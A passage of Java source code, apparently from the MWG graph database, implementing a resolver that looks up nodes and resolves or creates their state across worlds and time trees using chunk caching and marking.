Constants.NULL_LONG, Constants.NULL_LONG); worldOrder.put(childWorld, parentWorld); this._space.unmarkChunk(worldOrder); } @Override public void freeNode(KNode node) { AbstractNode casted = (AbstractNode) node; long nodeId = node.id(); long[] previous; do { previous = casted._previousResolveds.get(); } while (!casted._previousResolveds.compareAndSet(previous, null)); if (previous != null) { this._space.unmark(Constants.STATE_CHUNK, previous[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previous[Constants.PREVIOUS_RESOLVED_TIME_INDEX], nodeId);//FREE OBJECT CHUNK this._space.unmark(Constants.TIME_TREE_CHUNK, previous[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], Constants.NULL_LONG, nodeId);//FREE TIME TREE this._space.unmark(Constants.TIME_TREE_CHUNK, previous[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previous[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX], nodeId);//FREE TIME TREE this._space.unmark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, nodeId); //FREE OBJECT UNIVERSE MAP this._space.unmark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG); //FREE GLOBAL UNIVERSE MAP } } @Override public <A extends KNode> void lookup(long world, long time, long id, KCallback<A> callback) { this._scheduler.dispatch(lookupTask(world, time, id, callback)); } @Override public <A extends KNode> KCallback lookupTask(final long world, final long time, final long id, final KCallback<A> callback) { final MWGResolver selfPointer = this; return new KCallback() { @Override public void on(Object o) { try { selfPointer.getOrLoadAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG, new KCallback<KChunk>() { @Override public void on(KChunk theGlobalWorldOrder) { if (theGlobalWorldOrder != null) { selfPointer.getOrLoadAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, id, new KCallback<KChunk>() { @Override public void on(KChunk theNodeWorldOrder) { if (theNodeWorldOrder == null) { selfPointer._space.unmarkChunk(theGlobalWorldOrder); callback.on(null); } else { final long closestWorld = resolve_world((KLongLongMap) theGlobalWorldOrder, (KLongLongMap) theNodeWorldOrder, time, world); selfPointer.getOrLoadAndMark(Constants.TIME_TREE_CHUNK, closestWorld, Constants.NULL_LONG, id, new KCallback<KChunk>() { @Override public void on(KChunk theNodeSuperTimeTree) { if (theNodeSuperTimeTree == null) { selfPointer._space.unmarkChunk(theNodeWorldOrder); selfPointer._space.unmarkChunk(theGlobalWorldOrder); callback.on(null); } else { final long closestSuperTime = ((KLongTree) theNodeSuperTimeTree).previousOrEqual(time); if (closestSuperTime == Constants.NULL_LONG) { selfPointer._space.unmarkChunk(theNodeSuperTimeTree); selfPointer._space.unmarkChunk(theNodeWorldOrder); selfPointer._space.unmarkChunk(theGlobalWorldOrder); callback.on(null); return; } selfPointer.getOrLoadAndMark(Constants.TIME_TREE_CHUNK, closestWorld, closestSuperTime, id, new KCallback<KChunk>() { @Override public void on(KChunk theNodeTimeTree) { if (theNodeTimeTree == null) { selfPointer._space.unmarkChunk(theNodeSuperTimeTree); selfPointer._space.unmarkChunk(theNodeWorldOrder); selfPointer._space.unmarkChunk(theGlobalWorldOrder); callback.on(null); } else { long closestTime = ((KLongTree) theNodeTimeTree).previousOrEqual(time); if (closestTime == Constants.NULL_LONG) { selfPointer._space.unmarkChunk(theNodeTimeTree); selfPointer._space.unmarkChunk(theNodeSuperTimeTree); selfPointer._space.unmarkChunk(theNodeWorldOrder); selfPointer._space.unmarkChunk(theGlobalWorldOrder); callback.on(null); return; } selfPointer.getOrLoadAndMark(Constants.STATE_CHUNK, closestWorld, closestTime, id, new KCallback<KChunk>() { @Override public void on(KChunk theObjectChunk) { if (theObjectChunk == null) { selfPointer._space.unmarkChunk(theNodeTimeTree); selfPointer._space.unmarkChunk(theNodeSuperTimeTree); selfPointer._space.unmarkChunk(theNodeWorldOrder); selfPointer._space.unmarkChunk(theGlobalWorldOrder); callback.on(null); } else { KWorldOrderChunk castedNodeWorldOrder = (KWorldOrderChunk) theNodeWorldOrder; long extraCode = castedNodeWorldOrder.extra(); KFactory resolvedFactory = null; if (extraCode != Constants.NULL_LONG) { resolvedFactory = ((Graph) _graph).factoryByCode(extraCode); } long[] initPreviouslyResolved = new long[6]; //init previously resolved values initPreviouslyResolved[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = closestWorld; initPreviouslyResolved[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = closestSuperTime; initPreviouslyResolved[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = closestTime; //init previous magics initPreviouslyResolved[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = ((KWorldOrderChunk) theNodeWorldOrder).magic(); initPreviouslyResolved[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = ((KLongTree) theNodeSuperTimeTree).magic(); initPreviouslyResolved[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = ((KLongTree) theNodeTimeTree).magic(); KNode resolvedNode; if (resolvedFactory == null) { resolvedNode = new Node(world, time, id, _graph, initPreviouslyResolved); } else { resolvedNode = resolvedFactory.create(world, time, id, _graph, initPreviouslyResolved); } selfPointer._tracker.monitor(resolvedNode); callback.on((A) resolvedNode); } } }); } } }); } } }); } } }); } else { callback.on(null); } } }); } catch (Exception e) { e.printStackTrace(); } } }; } private long resolve_world(final KLongLongMap globalWorldOrder, final KLongLongMap nodeWorldOrder, final long timeToResolve, long originWorld) { if (globalWorldOrder == null || nodeWorldOrder == null) { return originWorld; } long currentUniverse = originWorld; long previousUniverse = Constants.NULL_LONG; long divergenceTime = nodeWorldOrder.get(currentUniverse); while (currentUniverse != previousUniverse) { //check range if (divergenceTime != Constants.NULL_LONG && divergenceTime <= timeToResolve) { return currentUniverse; } //next round previousUniverse = currentUniverse; currentUniverse = globalWorldOrder.get(currentUniverse); divergenceTime = nodeWorldOrder.get(currentUniverse); } return originWorld; } private void getOrLoadAndMark(final byte type, final long world, final long time, final long id, final KCallback<KChunk> callback) { if (world == Constants.NULL_KEY[0] && time == Constants.NULL_KEY[1] && id == Constants.NULL_KEY[2]) { callback.on(null); return; } KChunk cached = this._space.getAndMark(type, world, time, id); if (cached != null) { callback.on(cached); } else { KBuffer buffer = _graph.newBuffer(); Buffer.keyToBuffer(buffer, type, world, time, id); load(new byte[]{type}, new long[]{world, time, id}, new KBuffer[]{buffer}, new KCallback<KChunk[]>() { @Override public void on(KChunk[] loadedElements) { callback.on(loadedElements[0]); } }); } } private static int KEY_SIZE = 3; private void getOrLoadAndMarkAll(byte[] types, long[] keys, final KCallback<KChunk[]> callback) { int nbKeys = keys.length / KEY_SIZE; final boolean[] toLoadIndexes = new boolean[nbKeys]; int nbElem = 0; final KChunk[] result = new KChunk[nbKeys]; for (int i = 0; i < nbKeys; i++) { if (keys[i * KEY_SIZE] == Constants.NULL_KEY[0] && keys[i * KEY_SIZE + 1] == Constants.NULL_KEY[1] && keys[i * KEY_SIZE + 2] == Constants.NULL_KEY[2]) { toLoadIndexes[i] = false; result[i] = null; } else { result[i] = this._space.getAndMark(types[i], keys[i * KEY_SIZE], keys[i * KEY_SIZE + 1], keys[i * KEY_SIZE + 2]); if (result[i] == null) { toLoadIndexes[i] = true; nbElem++; } else { toLoadIndexes[i] = false; } } } if (nbElem == 0) { callback.on(result); } else { final long[] keysToLoadFlat = new long[nbElem * KEY_SIZE]; final KBuffer[] keysToLoad = new KBuffer[nbElem]; final byte[] typesToLoad = new byte[nbElem]; int lastInsertedIndex = 0; for (int i = 0; i < nbKeys; i++) { if (toLoadIndexes[i]) { keysToLoadFlat[lastInsertedIndex] = keys[i * KEY_SIZE]; keysToLoadFlat[lastInsertedIndex + 1] = keys[i * KEY_SIZE + 1]; keysToLoadFlat[lastInsertedIndex + 2] = keys[i * KEY_SIZE + 2]; typesToLoad[lastInsertedIndex] = types[i]; keysToLoad[lastInsertedIndex] = _graph.newBuffer(); Buffer.keyToBuffer(keysToLoad[lastInsertedIndex], types[i], keys[i * KEY_SIZE], keys[i * KEY_SIZE + 1], keys[i * KEY_SIZE + 2]); lastInsertedIndex = lastInsertedIndex + 3; } } load(typesToLoad, keysToLoadFlat, keysToLoad, new KCallback<KChunk[]>() { @Override public void on(KChunk[] loadedElements) { int currentIndexToMerge = 0; for (int i = 0; i < nbKeys; i++) { if (toLoadIndexes[i]) { result[i] = loadedElements[currentIndexToMerge]; currentIndexToMerge++; } } callback.on(result); } }); } } private void load(byte[] types, long[] flatKeys, KBuffer[] keys, KCallback<KChunk[]> callback) { MWGResolver selfPointer = this; this._storage.get(keys, new KCallback<KBuffer[]>() { @Override public void on(KBuffer[] payloads) { KChunk[] results = new KChunk[keys.length]; for (int i = 0; i < payloads.length; i++) { keys[i].free(); //free the temp KBuffer long loopWorld = flatKeys[i * KEY_SIZE]; long loopTime = flatKeys[i * KEY_SIZE + 1]; long loopUuid = flatKeys[i * KEY_SIZE + 2]; byte elemType = types[i]; if (payloads[i] != null) { results[i] = selfPointer._space.create(elemType, loopWorld, loopTime, loopUuid, payloads[i], null); selfPointer._space.putAndMark(results[i]); } } callback.on(results); } }); } @Override public KNodeState newState(KNode node, long world, long time) { //Retrieve Node needed chunks KWorldOrderChunk nodeWorldOrder = (KWorldOrderChunk) this._space.getAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, node.id()); if (nodeWorldOrder == null) { return null; } //SOMETHING WILL MOVE HERE ANYWAY SO WE SYNC THE OBJECT, even for dePhasing read only objects because they can be unaligned after nodeWorldOrder.lock(); //OK NOW WE HAVE THE TOKEN globally FOR the node ID AbstractNode castedNode = (AbstractNode) node; //protection against deleted KNode long[] previousResolveds = castedNode._previousResolveds.get(); if (previousResolveds == null) { throw new RuntimeException(deadNodeError); } //let's go for the resolution now long nodeId = node.id(); boolean hasToCleanSuperTimeTree = false; boolean hasToCleanTimeTree = false; KChunk resultState = null; try { KTimeTreeChunk nodeSuperTimeTree = (KTimeTreeChunk) this._space.getAndMark(Constants.TIME_TREE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], Constants.NULL_LONG, nodeId); if (nodeSuperTimeTree == null) { this._space.unmarkChunk(nodeWorldOrder); return null; } KTimeTreeChunk nodeTimeTree = (KTimeTreeChunk) this._space.getAndMark(Constants.TIME_TREE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX], nodeId); if (nodeTimeTree == null) { this._space.unmarkChunk(nodeSuperTimeTree); this._space.unmarkChunk(nodeWorldOrder); return null; } long resolvedSuperTime = previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX]; resultState = (KStateChunk) this._space.create(Constants.STATE_CHUNK, world, time, nodeId, null, null); resultState = _space.putAndMark(resultState); if (previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] == world) { //manage super tree here long superTreeSize = nodeSuperTimeTree.size(); long threshold = Constants.SCALE_1 * 2; if (superTreeSize > threshold) { threshold = Constants.SCALE_2 * 2; } if (superTreeSize > threshold) { threshold = Constants.SCALE_3 * 2; } if (superTreeSize > threshold) { threshold = Constants.SCALE_4 * 2; } nodeTimeTree.insert(time); if (nodeTimeTree.size() == threshold) { final long[] medianPoint = {-1}; //we iterate over the tree without boundaries for values, but with boundaries for number of collected times nodeTimeTree.range(Constants.BEGINNING_OF_TIME, Constants.END_OF_TIME, nodeTimeTree.size() / 2, new KTreeWalker() { @Override public void elem(long t) { medianPoint[0] = t; } }); KTimeTreeChunk rightTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, world, medianPoint[0], nodeId, null, null); rightTree = (KTimeTreeChunk) this._space.putAndMark(rightTree); //TODO second iterate that can be avoided, however we need the median point to create the right tree //we iterate over the tree without boundaries for values, but with boundaries for number of collected times final KTimeTreeChunk finalRightTree = rightTree; //rang iterate from the end of the tree nodeTimeTree.range(Constants.BEGINNING_OF_TIME, Constants.END_OF_TIME, nodeTimeTree.size() / 2, new KTreeWalker() { @Override public void elem(long t) { finalRightTree.insert(t); } }); nodeSuperTimeTree.insert(medianPoint[0]); //remove times insert in the right tree nodeTimeTree.clearAt(medianPoint[0]); //ok ,now manage marks if (time < medianPoint[0]) { _space.unmarkChunk(rightTree); hasToCleanSuperTimeTree = true; long[] newResolveds = new long[6]; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = world; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = resolvedSuperTime; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = time; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrder.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = nodeSuperTimeTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); } else { hasToCleanTimeTree = true; hasToCleanSuperTimeTree = true; //let's store the new state if necessary long[] newResolveds = new long[6]; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = world; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = medianPoint[0]; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = time; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrder.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = rightTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); } } else { //update the state cache without superTree modification long[] newResolveds = new long[6]; //previously resolved newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = world; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = resolvedSuperTime; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = time; //previously magics newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrder.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = nodeSuperTimeTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); hasToCleanSuperTimeTree = true; hasToCleanTimeTree = true; } } else { //TODO potential memory leak here //create a new node superTimeTree KTimeTreeChunk newSuperTimeTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, world, Constants.NULL_LONG, nodeId, null, null); newSuperTimeTree = (KTimeTreeChunk) this._space.putAndMark(newSuperTimeTree); newSuperTimeTree.insert(time); //create a new node timeTree //TODO potential memory leak here KTimeTreeChunk newTimeTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, world, time, nodeId, null, null); newTimeTree = (KTimeTreeChunk) this._space.putAndMark(newTimeTree); newTimeTree.insert(time); //insert into node world order nodeWorldOrder.put(world, time); //let's store the new state if necessary long[] newResolveds = new long[6]; //previously resolved newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = world; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = time; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = time; //previously magics newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrder.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = newSuperTimeTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = newTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); hasToCleanSuperTimeTree = true; hasToCleanTimeTree = true; } _space.unmark(Constants.STATE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX], node.id()); if (hasToCleanSuperTimeTree) { _space.unmarkChunk(nodeSuperTimeTree); } if (hasToCleanTimeTree) { _space.unmarkChunk(nodeTimeTree); } } catch (Throwable e) { e.printStackTrace(); } finally { nodeWorldOrder.unlock(); } //we should unMark previous state //unMark World order chunks _space.unmarkChunk(nodeWorldOrder); return (KNodeState) resultState; } @Override public KNodeState resolveState(KNode node, boolean allowDephasing) { AbstractNode castedNode = (AbstractNode) node; //protection against deleted KNode long[] previousResolveds = castedNode._previousResolveds.get(); if (previousResolveds == null) { throw new RuntimeException(deadNodeError); } //let's go for the resolution now long nodeWorld = node.world(); long nodeTime = node.time(); long nodeId = node.id(); //OPTIMIZATION #1: NO DEPHASING if (previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] == nodeWorld && previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] == nodeTime) { KStateChunk currentEntry = (KStateChunk) this._space.getAndMark(Constants.STATE_CHUNK, nodeWorld, nodeTime, nodeId); if (currentEntry != null) { this._space.unmarkChunk(currentEntry); return currentEntry; } } //Retrieve Node needed chunks KWorldOrderChunk nodeWorldOrder = (KWorldOrderChunk) this._space.getAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, nodeId); if (nodeWorldOrder == null) { return null; } KTimeTreeChunk nodeSuperTimeTree = (KTimeTreeChunk) this._space.getAndMark(Constants.TIME_TREE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], Constants.NULL_LONG, nodeId); if (nodeSuperTimeTree == null) { this._space.unmarkChunk(nodeWorldOrder); return null; } KTimeTreeChunk nodeTimeTree = (KTimeTreeChunk) this._space.getAndMark(Constants.TIME_TREE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX], nodeId); if (nodeTimeTree == null) { this._space.unmarkChunk(nodeSuperTimeTree); this._space.unmarkChunk(nodeWorldOrder); return null; } long nodeWorldOrderMagic = nodeWorldOrder.magic(); long nodeSuperTimeTreeMagic = nodeSuperTimeTree.magic(); long nodeTimeTreeMagic = nodeTimeTree.magic(); //OPTIMIZATION #2: SAME DEPHASING if (allowDephasing && (previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] == nodeWorldOrderMagic) && (previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] == nodeSuperTimeTreeMagic) && (previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] == nodeTimeTreeMagic)) { KStateChunk currentNodeState = (KStateChunk) this._space.getAndMark(Constants.STATE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX], nodeId); this._space.unmarkChunk(nodeWorldOrder); this._space.unmarkChunk(nodeSuperTimeTree); this._space.unmarkChunk(nodeTimeTree); if (currentNodeState != null) { //ERROR case protection, chunk has been removed from cache this._space.unmarkChunk(currentNodeState); } return currentNodeState; } //NOMINAL CASE, MAGIC NUMBER ARE NOT VALID ANYMORE KWorldOrderChunk globalWorldOrder = (KWorldOrderChunk) this._space.getAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG); if (globalWorldOrder == null) { this._space.unmarkChunk(nodeWorldOrder); this._space.unmarkChunk(nodeSuperTimeTree); this._space.unmarkChunk(nodeTimeTree); return null; } //SOMETHING WILL MOVE HERE ANYWAY SO WE SYNC THE OBJECT, even for dePhasing read only objects because they can be unaligned after nodeWorldOrder.lock(); //OK NOW WE HAVE THE TOKEN globally FOR the node ID //OPTIMIZATION #1: NO DEPHASING if (previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] == nodeWorld && previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] == nodeTime) { KStateChunk currentEntry = (KStateChunk) this._space.getAndMark(Constants.STATE_CHUNK, nodeWorld, nodeTime, nodeId); if (currentEntry != null) { this._space.unmarkChunk(globalWorldOrder); this._space.unmarkChunk(nodeWorldOrder); this._space.unmarkChunk(nodeSuperTimeTree); this._space.unmarkChunk(nodeTimeTree); this._space.unmarkChunk(currentEntry); return currentEntry; } } //REFRESH previousResolveds = castedNode._previousResolveds.get(); if (previousResolveds == null) { throw new RuntimeException(deadNodeError); } nodeWorldOrderMagic = nodeWorldOrder.magic(); nodeSuperTimeTreeMagic = nodeSuperTimeTree.magic(); nodeTimeTreeMagic = nodeTimeTree.magic(); KStateChunk resultStateChunk = null; boolean hasToCleanSuperTimeTree = false; boolean hasToCleanTimeTree = false; try { long resolvedWorld; long resolvedSuperTime; long resolvedTime; // OPTIMIZATION #3: SAME DEPHASING THAN BEFORE, DIRECTLY CLONE THE PREVIOUSLY RESOLVED TUPLE if (previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] == nodeWorldOrderMagic && previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] == nodeSuperTimeTreeMagic && previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] == nodeTimeTreeMagic) { resolvedWorld = previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX]; resolvedSuperTime = previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX]; resolvedTime = previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX]; hasToCleanSuperTimeTree = true; hasToCleanTimeTree = true; } else { //Common case, we have to traverse World Order and Time chunks resolvedWorld = resolve_world(globalWorldOrder, nodeWorldOrder, nodeTime, nodeWorld); if (resolvedWorld != previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX]) { //we have to update the superTree KTimeTreeChunk tempNodeSuperTimeTree = (KTimeTreeChunk) this._space.getAndMark(Constants.TIME_TREE_CHUNK, resolvedWorld, Constants.NULL_LONG, nodeId); if (tempNodeSuperTimeTree == null) { throw new RuntimeException("Simultaneous rePhasing leading to cache miss!!!"); } //free the method mark _space.unmarkChunk(nodeSuperTimeTree); //free the previous lookup mark _space.unmarkChunk(nodeSuperTimeTree); nodeSuperTimeTree = tempNodeSuperTimeTree; } resolvedSuperTime = nodeSuperTimeTree.previousOrEqual(nodeTime); if (previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] != resolvedSuperTime) { //we have to update the timeTree KTimeTreeChunk tempNodeTimeTree = (KTimeTreeChunk) this._space.getAndMark(Constants.TIME_TREE_CHUNK, resolvedWorld, resolvedSuperTime, nodeId); if (tempNodeTimeTree == null) { throw new RuntimeException("Simultaneous rephasing leading to cache miss!!!"); } //free the method mark _space.unmarkChunk(nodeTimeTree); //free the lookup mark _space.unmarkChunk(nodeTimeTree); nodeTimeTree = tempNodeTimeTree; } resolvedTime = nodeTimeTree.previousOrEqual(nodeTime); //we only unMark superTimeTree in case of world phasing, otherwise we keep the mark (as new lookup mark) if (resolvedWorld == previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX]) { hasToCleanSuperTimeTree = true; } //we only unMark timeTree in case of superTime phasing, otherwise we keep the mark (as new lookup mark) if (resolvedSuperTime == previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX]) { hasToCleanTimeTree = true; } } boolean worldMoved = resolvedWorld != previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX]; boolean superTimeTreeMoved = resolvedSuperTime != previousResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX]; boolean timeTreeMoved = resolvedTime != previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX]; //so we are dePhase if (allowDephasing) { resultStateChunk = (KStateChunk) this._space.getAndMark(Constants.STATE_CHUNK, resolvedWorld, resolvedTime, nodeId); if (resultStateChunk == null) { throw new RuntimeException("Simultaneous rePhasing leading to cache miss!!!"); } boolean refreshNodeCache = false; if (worldMoved || timeTreeMoved) { _space.unmark(Constants.STATE_CHUNK, previousResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX], previousResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX], nodeId); refreshNodeCache = true; } else { if (superTimeTreeMoved) { refreshNodeCache = true; } _space.unmarkChunk(resultStateChunk); } if (refreshNodeCache) { long[] newResolveds = new long[6]; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = resolvedWorld; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = resolvedSuperTime; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = resolvedTime; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrderMagic; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = nodeSuperTimeTreeMagic; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTreeMagic; castedNode._previousResolveds.set(newResolveds); } } else { KStateChunk previousNodeState = (KStateChunk) this._space.getAndMark(Constants.STATE_CHUNK, resolvedWorld, resolvedTime, nodeId); //clone the chunk resultStateChunk = (KStateChunk) this._space.create(Constants.STATE_CHUNK, nodeWorld, nodeTime, nodeId, null, previousNodeState); this._space.putAndMark(resultStateChunk); this._space.declareDirty(resultStateChunk); //free the method mark this._space.unmarkChunk(previousNodeState); //free the previous lookup lock this._space.unmarkChunk(previousNodeState); if (resolvedWorld == nodeWorld) { //manage super tree here long superTreeSize = nodeSuperTimeTree.size(); long threshold = Constants.SCALE_1 * 2; if (superTreeSize > threshold) { threshold = Constants.SCALE_2 * 2; } if (superTreeSize > threshold) { threshold = Constants.SCALE_3 * 2; } if (superTreeSize > threshold) { threshold = Constants.SCALE_4 * 2; } nodeTimeTree.insert(nodeTime); if (nodeTimeTree.size() == threshold) { final long[] medianPoint = {-1}; //we iterate over the tree without boundaries for values, but with boundaries for number of collected times nodeTimeTree.range(Constants.BEGINNING_OF_TIME, Constants.END_OF_TIME, nodeTimeTree.size() / 2, new KTreeWalker() { @Override public void elem(long t) { medianPoint[0] = t; } }); KTimeTreeChunk rightTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, nodeWorld, medianPoint[0], nodeId, null, null); rightTree = (KTimeTreeChunk) this._space.putAndMark(rightTree); //TODO second iterate that can be avoided, however we need the median point to create the right tree //we iterate over the tree without boundaries for values, but with boundaries for number of collected times final KTimeTreeChunk finalRightTree = rightTree; //rang iterate from the end of the tree nodeTimeTree.range(Constants.BEGINNING_OF_TIME, Constants.END_OF_TIME, nodeTimeTree.size() / 2, new KTreeWalker() { @Override public void elem(long t) { finalRightTree.insert(t); } }); nodeSuperTimeTree.insert(medianPoint[0]); //remove times insert in the right tree nodeTimeTree.clearAt(medianPoint[0]); //ok ,now manage marks if (nodeTime < medianPoint[0]) { _space.unmarkChunk(rightTree); long[] newResolveds = new long[6]; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = nodeWorld; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = resolvedSuperTime; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = nodeTime; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrderMagic; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = nodeSuperTimeTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); } else { //TODO check potentially marking bug (bad mark retention here...) hasToCleanTimeTree = true; //let's store the new state if necessary long[] newResolveds = new long[6]; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = nodeWorld; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = medianPoint[0]; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = nodeTime; newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrderMagic; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = rightTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); } } else { //update the state cache without superTree modification long[] newResolveds = new long[6]; //previously resolved newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = nodeWorld; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = resolvedSuperTime; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = nodeTime; //previously magics newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrderMagic; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = nodeSuperTimeTreeMagic; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = nodeTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); } } else { //TODO potential memory leak here //create a new node superTimeTree KTimeTreeChunk newSuperTimeTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, nodeWorld, Constants.NULL_LONG, nodeId, null, null); newSuperTimeTree = (KTimeTreeChunk) this._space.putAndMark(newSuperTimeTree); newSuperTimeTree.insert(nodeTime); //create a new node timeTree //TODO potential memory leak here KTimeTreeChunk newTimeTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, nodeWorld, nodeTime, nodeId, null, null); newTimeTree = (KTimeTreeChunk) this._space.putAndMark(newTimeTree); newTimeTree.insert(nodeTime); //insert into node world order 